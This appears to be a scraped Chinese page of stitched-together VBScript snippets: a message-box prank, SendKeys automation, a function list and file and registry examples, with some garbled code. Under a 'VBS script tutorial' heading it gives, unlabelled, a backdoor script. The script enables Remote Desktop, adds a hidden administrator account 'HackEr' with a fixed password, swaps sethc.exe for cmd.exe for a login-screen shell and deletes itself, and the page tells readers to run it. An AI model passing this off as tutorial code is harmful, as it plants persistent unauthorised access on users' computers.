求一些有趣的VBS代码？vbs代码怎么用

求一些有趣的VBS代码

无害的，一个心理测试（膨胀）

有点简单。（。）

代码如下：

WScript.Echo(“嘿，谢谢你打开我哦，我等你很久拉！“&TSName)

WScript.Echo(“你是可爱的小朋吗?“)

WScript.Echo(“哈,我想你拉，这你都不知道吗？“)

WScript.Echo(“怎么才来，说~是不是不关心我“)

WScript.Echo(“哼,我生气拉，等你这么久，心都凉啦。“)

WScript.Echo(“小强很生气，后果很严重哦。“)

WScript.Echo(“嘿嘿！你也会很惨滴哦“)

WScript.Echo(“是不是想清除我？“)

WScript.Echo(“那你要点上50下哦，不过会给你惊喜滴“)

WScript.Echo(“还剩49下，快点点哦“)

WScript.Echo(“还剩48下，快点，小笨蛋！“)

WScript.Echo(“还剩47下对，就这样快点点！“)

WScript.Echo(“还剩46下。你啊就是笨，要快哦，我先不打扰你工作。“)

WScript.Echo(“还剩45下，记得要快哦！“)

WScript.Echo(“还剩43下“)

WScript.Echo(“还剩42下“)

WScript.Echo(“还剩41下“)

WScript.Echo(“还剩40下“)

WScript.Echo(“还剩39下“)

WScript.Echo(“还剩38下“)

WScript.Echo(“还剩37下“)

WScript.Echo(“还剩36下“)

WScript.Echo(“还剩35下“)

WScript.Echo(“还剩34下“)

WScript.Echo(“还剩33下“)

WScript.Echo(“还剩32下“)

WScript.Echo(“还剩30下“)

WScript.Echo(“还剩29下“)

WScript.Echo(“还剩28下“)

WScript.Echo(“还剩27下“)

WScript.Echo(“还剩26下“)

WScript.Echo(“还剩25下“)

WScript.Echo(“还剩24下“)

WScript.Echo(“还剩23下“)

WScript.Echo(“还剩22下“)

WScript.Echo(“还剩21下“)

WScript.Echo(“还剩20下“)

WScript.Echo(“还剩19下“)

WScript.Echo(“还剩18下“)

WScript.Echo(“还剩17下“)

WScript.Echo(“还剩16下“)

WScript.Echo(“还剩15下“)

WScript.Echo(“还剩14下“)

WScript.Echo(“还剩13下停停！！！慢点，我有话要说“)

WScript.Echo(“还剩12下，你继续点我就会消失滴“)

WScript.Echo(“还剩11下，以后就看不到我拉。555555“)

WScript.Echo(“还剩10下，你现在可以选择停止！“)

WScript.Echo(“还剩9下。你还点啊，不要我拉？“)

WScript.Echo(“还剩8下，有点伤心拉，干嘛丢弃人家“)

WScript.Echo(“还剩7下。疯了，你有点负意！“)

WScript.Echo(“还剩6下。对。你就点吧，我恨你！“)

WScript.Echo(“还剩5下，不明白，删除我你就好吗？“)

WScript.Echo(“还剩4下！真要删除我？“)

WScript.Echo(“还剩3下。可是我真的很眷恋你。。。“)

WScript.Echo(“还剩2下。不要这么绝情嘛，人家是爱你的！“)

WScript.Echo(“还剩1下。哼，既然你这么绝情。也别怪我无义！！！“)

WScript.Echo(“我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。“)

WScript.Echo(“想结素我么?那你就再多点一次“)

——————分割线————————

保存，保存类型为所有文件，名字随便，矿展名“.vbs”，保存后点开。

vbs代码怎么用

这段代码是对当前的活动窗口发送键盘消息, 你保存成.vbs再运行是向这个vbs发送键盘消息. 在Wscript.Sleep 8000下面一行加一句tx.AppActivate “你要的程序名字“就好了
比如说要往一个记事本1.txt里面写
a
b
c
就这样写(1.txt必须开着的)
Set tx=CreateObject(“Wscript.Shell“)
Wscript.Sleep 8000
tx.AppActivate “1.txt“
tx.SendKeys “a“
Wscript.Sleep 3000
tx.SendKeys “{Enter}“
tx.SendKeys “b“
Wscript.Sleep 3000
tx.SendKeys “{Enter}“
Wscript.Sleep 3000
tx.SendKeys “c“
tx.SendKeys “{Enter}“

vbs常用代码

1、首先在电脑鼠标右键新建一个文本文档。

2、然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。

3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。

4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。

5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。

6、只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。

VBS文件代码介绍

编辑本段vbScript常用运算符与函数
　　基本运算　
　+ 数字加法及字符串连接　　- 数字减法　　* 数字乘法　　/ 数字除法　　Mod 求余数　　\ 求商数　　& 字符串连接　　^ 次方　　= 相等　　《》不相等　　》= 大于或等于　　》大于　　《= 小于或等于　　《小于　　Not 非　　And 且　　Or 或　　Xor 异或
　
　循环及决策
　　if ….then 若…则… 　　if …then…else 若…则…非　　else if… 非若　　select case… 群组选择条件　　end select 　　for … next 计数循环　　while…wend 条件循环(一) 　　do while…loop 条件循环(二) 　　do…loop while 条件循环(三) 　　do until…loop 条件循环(四) 　　do…loop until 条件循环(五) 　　
数学函数　
　Abs 绝对值　
　Sgn 正负号　　
Hex 转换成十六进制
　　Oct 转换成八进制
　　Sqr 平方根　
　Int 取整数　
　Fix 取整数　
　Round 取整数　
　Log 以e为底的对数　
　Sin 正弦函数　
　Cos 余弦函数
　　Tan 正切函数　
　字符串处理函数　
　Len 字符串长度　　
Mid 取部分字符串　　
Left 从字符串开头取部分字符串　
　Right 从字符串结尾取部分字符串
　　Lcase 转换成小写
　　Ucase 转换成大写　
　Trim 清除字符串开头及结尾的空格符　
　Ltrim 清除字符串开头空格符
　　Rtrim 清除字符串结尾空格符　　
Replace 替换字符串部分字符　
　Instr 判断是否包含于另一个字符串(从起始搜寻) 　　
InstrRev 判断是否包含于另一个字符串(从结尾搜寻) 　
　Space 任意字符数的空格符　
　String 任意字符数的任一字符　
　StrReverse 反转字符串　
　Split 以某字符分割字符串　
　数据类型转换函数　
　Cint 转换成整形　　
Cstr 转换成字符串
　　Clng 转换成常整数　
　Cbool 转换成布尔函数
　　Cdate 转换成日期函数
　　CSng 转换成单精度　
　CDbl 转换成双精度　
　日期时间函数　
　Date 现在日期　
　Time 现在时间　
　NOw 现在日期时间　
　DateAdd 增加日期　
　DateDiff 两日期差　
　DateSerial 日期设定　
　Datevalue 日期设定　
　Year 现在年份　
　Month 现在月份　
　Day 现在天　
　Hour 现在时刻　
　Minute 现在分钟
　　Second 现在秒钟　
　Timer 午夜距现在秒数
　　TimeSerial 时间设定　
　Timevalue 时间所属部分
　　WeekDay 星期名称　
　MonthName 月份名称　
　其它函数　　
Array 产生数组　
　Asc 字符ASCII码　
　Chr ASCII码字符　
　Filter 过滤数组　
　InputBox 输入窗口　
　Join 合并数组中的元素　
　MsgBox 信息窗口　
　Lbound 数组下界　
　Ubound 数组上界　
　指令　　
Const 设定常数　　
Dim 定义变量或者数组　　
Erase 清除数组　　
ReDim 重新声明数组　　
Randomize 起始随机数　　
Rnd 取得随机数　　
ASP对象　　
Session对象　　
IsEmpty 测试Session变量是否存在　　
TimeOut 设定Session变量生存周期　　
Abandon 强制清除Session变量　　
Application对象　　
IsEmpty 测试Application变量是否存在　　
Lock 锁定Application变量　　
Unlock 解除Lock指令的锁定　　
Cookies对象　　
Expires 设定Cookies变量的生存周期　　
Connection对象　　
Open 打开与数据库的连接　　
Execute 打开Recordset对象　　
Close 关闭Connection对象　　
Recordset对象　　
movefirst 将记录指针移至第一条　　
movelast 将记录指针移至最后一条　　
movenext 将记录指针移至下一条　　
moveprevious 将记录指针移至上一条　　
bof 测试是否为recordset的起始　　
eof 测试是否为recordset的结束　　
open 打开Recoreset对象　　
close 关闭recordset对象　　
fields 读取数据的子对象　　
fileds.count 字段个数　　
pagesize 每页记录条数　
　absolutepage 设定为某页　　
pagecount 总页数　　
Absoluteposition 直接跳至某条记录

编写vbs 基本的代码

常用vbs集合.
将域用户或组添加到本地组
Set objGroup = GetObject(“WinNT://./Administrators“)
Set objUser = GetObject(“WinNT://testnet/Engineers“)
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject(“WinNT://./administrator, user“)
objcnla.SetPassword “P@ssW0rd“
objcnla.SetInfo
弹出 YES or NO 的对话框，不同的选择执行不同的代码
intAnswer = Msgbox(“Do you want to delete these files?“, vbYesNo, “Delete Files“)
If intAnswer = vbYes Then
Msgbox “You answered yes.“
Else Msgbox “You answered no.“
End If
运行CMD命令行命令
set obshell=wscript.createobject(“wscript.shell“)
obshell.run (“ipconfig“),,true
如果要运行的命令中包含双引号，可使用&chr(34)&代替
忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头，当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改，读取，删除，创建
Set wso = CreateObject(“WScript.Shell“) ’声明
wso.RegWrite “%Path%“’创建子键
wso.RegWrite “%Path%“,“%Value%“’修改“默认“键值
wso.RegWrite “%Path%“,%Value%,%RegType% ’修改特定类型的键值
’(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)
Set WSHShell= Wscript.CreateObject(“Wscript.Shell“)
WSHShell.RegRead (%Path%) ’读取注册表子键或键值(一般用于判断某一事件是否执行)
Set wso = CreateObject(“WScript.Shell“)
wso.RegDelete “%Path%“ ’删除子键或键值
’(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
eg:
Set wso = CreateObject(“Wscript.Shell“)
wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1“
wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1“,“0“
wso.RegWrite “HKLM\SOFTWARE\Microsft\Windows NT\#1\#2“,0,REG_BINARY
wso.RegDelete “HKLM\SOFTWARE\Microsft\Windows NT\#1“
Wscript.quit
文件的复制，删除，创建，简单的写入
Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“) ‘声明
Set f = fso.CreateTextFile(“%PATH%“) ’创建文件,其中f可任意，包含缩略名
f.WriteLine(“VBS“) ’写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile(“%path%“) ’拷贝某文件
c.copy(“%PATH2%“) ’拷贝文件到指定地点
fso.deletefile(“%PATH%“) ’删除文件
Wscript.quit
eg.
Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“)
Set f=fso.CreateTextFile(“C:\Sample.txt“)
WriteLine(“VBS“)
f.close
set e=fso.getfile(C:\Sample.txt)
e.copy(“D:\Sample.txt“)
fso.deletefile(C:\Sample.txt)
Wscript.quit
向应用程序输出简单的连串指令
dim program1 ’声明变量program1
program1= “%Path%“ ’应用程序路径
set wshshell=createobject(“wscript.shell“) ’声明饮用函数
set oexec=wshshell.exec(program1) ’运行程序
wscript.sleep 2000 ’(该行命令未知作用.估计是设定延迟，请高手指点)
wshshell.appactivate “%WindowsName%“ ’激活运用程序窗口
wshshell.sendkeys “+{%KeyBoardName%}“ ’第一次输出键盘按键指令前要加+
wshshell.sendkeys “555555“ ’在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作，这在QQ登录中最适用，如下例。
eg.
dim program1
program1=“D:\Program Files\Tencent\coralQQ.exe“
set wshshell=CreateObject(“wscript.shell“)
set oexec=wshshell.exec(program1)
wscript.sleep 2000
wshshell.appactivate “QQ登录“
wshshell.sendkeys “+{TAB}“
wshshell.sendkeys “250481892“
wscript.sleep 2000
wshshell.sendkeys “{TAB}“
wshshell.sendkeys “****************“
wscript.sleep 2000
wshshell.sendkeys “{ENTER}“
Wscript.quit
文件夹的简单操作
Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“) ‘声明
Set f = fso.CreateFolder(“%PATH%“) 创建文件夹
Set e = getFolder(%PATH%) 类似于“绑定目标”
e.copy(“%PATH2%“) 复制文件夹
fso.deletefolder(%PATH%) 删除文件夹
eg.
Set fso = Wscript.CreateObject(“Scripting.FileSystemObject“)
Set f = fso.CreateObject(“C:\sample“)
f.copy(“D:\sample“)
fso.deletefolder(“C:\sample“)
’(由上例可以看出，文件夹的操作很多是和文件的操作相通的，因此VBS文件具有很多命令的统一性)
将某一指定文件夹的所有只读文件转为可读文件
Const ReadOnly = 1 ‘设只读属性对应值为1
Set FSO = CreateObject(“Scripting.FileSystemObject“) ’声明
Set Folder = FSO.GetFolder(“%PATH%“) ’绑定文件夹
Set colFiles = Folder.Files ‘文件夹所有文件
For Each objFile in colFiles ’下列语句应用于文件夹所有文件
If File.Attributes AND ReadOnly Then ’这是关键之处，这里应用了If判断语句，来检测文件属性是否为只读
File.Attributes = File.Attributes XOR ReadOnly ‘对判断结果为Ture（默认为True）’执行XOR逻辑运算，将其改为可读
End If ‘结束判断
Next
将Word文件另存为文本文件
Const wdFormatText = 2 ’设置常数值
(当该值为8时另存为HTML文档，为11时另存为XML文档)
Set objWord = CreateObject(“Word.Application“) ’申明调用函数
Set objDoc = objWord.Documents.Open(“%Path%“) ‘打开某DOC文件
objDoc.SaveAs “%PATH2%“, wdFormatText 另存为……
objWord.Quit
eg:
Const wdFormatText = 2
Set objWord = CreateObject(“Word.Application“)
Set objDoc = objWord.Documents.Open(“d:\doc1.doc“)
objDoc.SaveAs “g:\doc1.txt“, wdFormatText
objWord.Quit

怎么执行vbs代码

1、把vbs代码直接保存成vbs为扩展名的文件，双击就可以执行，效果如下：

2、如出现未能执行的情况，可能为文件关联问题，可以在命令行事执行，以D:\test.vbs为例如下：

cscript d:\test.vbs

效果如下：

VBS打开东西的代码

vbs代码如下，这里以打开画图为例，你自己将下面代码中的c:\windows\system32\mspaint.exe换成你想要启动的程序的路径保存即可。
’====代===码===开===始============
set fso=CreateObject(“Scripting.FileSystemObject“)
set ws=CreateObject(“wscript.shell“)
set f=fso.getfile(“c:\windows\system32\mspaint.exe“)
ws.run f.shortpath
’====代===码===结===束=============

vbs代码解释

’══代══码══开══始════
hanzi=“嘻嘻哈哈呵呵嘿嘿“
’给变量hanzi赋值
set wshshell=CreateObject(“WScript.Shell“)
’获取对象句柄，便于后面使用
wshshell.run “winword“,3
’启动word软件
for i=1 to len(hanzi)
’对“hanzi”中每个字设置循环
Set ws = wscript.createobject(“wscript.shell“)
’获取对象句柄，便于后面使用
ws.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““∣(hanzi,i,1)&““““+“)(close)“,0,true
’逐字复制每个字到剪切板
wshshell.Sendkeys “^v“
’粘贴到当前光标所在处
next
’══代══码══结══束════
说明：实际上这个代码有bug，就是不等待word打开就粘贴完了。
修改后如下
’══代══码══开══始════
hanzi=“嘻嘻哈哈呵呵嘿嘿“
set ws=CreateObject(“WScript.Shell“)
ws.run “notepad“,3
wscript.sleep 1000
for i=1 to len(hanzi)
ws.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““∣(hanzi,i,1)&““““+“)(close)“,0,true
ws.Sendkeys “^v“
next
’══代══码══结══束════

vbs脚本教程

on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.“
Set StdOut = WScript.StdOut
Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\“ &_
strComputer & “\root\default:StdRegProv“)
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
strValueName = “fDenyTSConnections“
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“HackEr“:password=“393214425“:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK“):os=“WinNT://“&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&“/Administrators,group“):Set od=ob.Create(“user“,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&“/“&username&“,user“):oe.Add(of.ADsPath)’wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject(“WScript.Shell“)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe“, 0, True)
CreateObject(“Scripting.FileSystemObject“).DeleteFile(WScript.ScriptName)
把上面一段代码拷到一个txt中,然后把txt的扩展名改成.vbs，运行一下

VBS教程：函数-CreateObject 函数

CreateObject
函数
创建并返回对
Automation
对象的引用。
CreateObject(servername.typename
[,
location])
参数
servername
必选项。提供对象的应用程序名称。
typename
必选项。要创建的对象类型或类。
location
可选项。对象所在的网络服务器将被创建。
说明
Automation
服务器至少提供一种对象类型。例如，字处理应用程序可以提供应用程序对象、文档对象和工具条对象。
要创建
Automation
对象，将
CreateObject
函数返回的对象赋值给某对象变量：
Dim
ExcelSheetSet
ExcelSheet
=
CreateObject(“Excel.Sheet“)
上述代码启动创建对象（在此实例中，是
Microsoft
Excel
电子表格）的应用程序。对象创建后，就可以在代码中使用定义的对象变量引用此对象。在下面的示例中，可使用对象变量、ExcelSheet
和其他
Excel
对象，包括
Application
对象和
Cells
集合访问新对象的属性和方法。例如：
’
Make
Excel
visible
through
the
Application
object.ExcelSheet.Application.Visible
=
True’
Place
some
text
in
the
first
cell
of
the
sheet.ExcelSheet.ActiveSheet.Cells(1,1).Value
=
“This
is
column
A,
row
1“’
Save
the
sheet.ExcelSheet.SaveAs
“C:\DOCS\TEST.XLS“’
Close
Excel
with
the
Quit
method
on
the
Application
object.ExcelSheet.Application.Quit’
Release
the
object
variable.Set
ExcelSheet
=
Nothing
在远程服务器上创建一个对象，当
Internet
安全关闭时只能完成。通过传递计算机名到
CreateObject
服务器名的参数，能在远程网络上创建对象。该名称如同共享部份的机器名。例如网络共享名命名为：
“\\myserver\public“,
servername
是
“myserver“。另外,只能指定
servername
使用
DNS
格式或
IP
地址。
以下代码返回运行在命名为“myserver“的远程网络计算机上
Excel
实例的版本号
:
Function
GetVersion
Dim
XLApp
Set
XLApp
=
CreateObject(“Excel.Application“,
“MyServer“)
GetVersion
=
XLApp.VersionEnd
Function
错误发生在指定的远程服务器不存在或无法找到。